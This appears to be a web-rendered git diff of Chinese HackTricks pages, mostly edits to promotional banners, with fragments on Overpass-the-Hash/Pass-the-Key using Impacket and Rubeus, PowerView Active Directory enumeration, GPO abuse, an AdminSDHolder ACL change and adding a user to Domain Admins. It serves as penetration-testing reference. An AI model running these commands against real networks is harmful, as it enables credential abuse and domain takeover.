<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
@ -12,6 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
**Overpass The Hash/Pass The Key (PTK)**攻击旨在针对传统NTLM协议受限且Kerberos认证优先的环境。该攻击利用用户的NTLM哈希或AES密钥来获取Kerberos票据,从而未经授权地访问网络中的资源。
|
||||
|
@ -26,14 +31,14 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
|||
```
|
||||
在需要AES256的情况下,可以利用`-aesKey [AES key]`选项。此外,获取的票据可以与各种工具一起使用,包括smbexec.py或wmiexec.py,从而扩大攻击范围。
|
||||
|
||||
遇到诸如_PyAsn1Error_或_KDC无法找到名称_等问题通常可以通过更新Impacket库或使用主机名代替IP地址来解决,确保与Kerberos KDC兼容。
|
||||
遇到诸如_PyAsn1Error_或_KDC无法找到名称_的问题通常可以通过更新Impacket库或使用主机名而非IP地址来解决,确保与Kerberos KDC兼容。
|
||||
|
||||
使用Rubeus.exe的另一种命令序列展示了这种技术的另一个方面:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
这种方法与**Pass the Key**方法类似,重点是挪用并直接利用票证进行身份验证。值得注意的是,TGT请求的启动会触发事件`4768: A Kerberos authentication ticket (TGT) was requested`,默认情况下表示使用RC4-HMAC,尽管现代Windows系统更倾向于AES256。
|
||||
这种方法与**Pass the Key**方法类似,重点在于挪用和直接利用票据进行身份验证。值得注意的是,TGT请求的发起会触发事件`4768: A Kerberos authentication ticket (TGT) was requested`,默认情况下表示使用RC4-HMAC,尽管现代Windows系统更倾向于AES256。
|
||||
|
||||
为了符合运行安全性并使用AES256,可以应用以下命令:
|
||||
```bash
|
||||
|
@ -43,14 +48,18 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
|||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,19 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
PowerView的最新版本始终位于PowerSploit的dev分支中:[https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView)是[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)的.NET端口
|
||||
|
@ -146,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
|||
```
|
||||
### 组策略对象 - GPOs
|
||||
|
||||
如果攻击者对 GPO 拥有高权限,他可能能够通过滥用它来进行权限提升,例如为用户添加权限,在主机上添加本地管理员用户,或创建一个立即执行的计划任务来执行某个操作。\
|
||||
有关更多信息以及如何滥用它,请参阅[此链接](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。
|
||||
如果攻击者对 GPO 拥有高权限,他可能能够通过滥用它来进行权限提升,比如给用户添加权限,在主机上添加本地管理员用户,或者创建一个立即执行的计划任务来执行某个操作。\
|
||||
有关更多信息以及如何滥用它,请访问[此链接](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
|
@ -181,7 +186,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
|
|||
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
||||
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
||||
```
|
||||
学习如何在以下内容中利用GPO和ACL权限:
|
||||
学习如何在以下内容中**利用GPO和ACL权限**:
|
||||
|
||||
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
||||
|
@ -314,14 +319,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
|||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 你在**网络安全公司**工作吗?想要在**HackTricks中宣传你的公司**?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue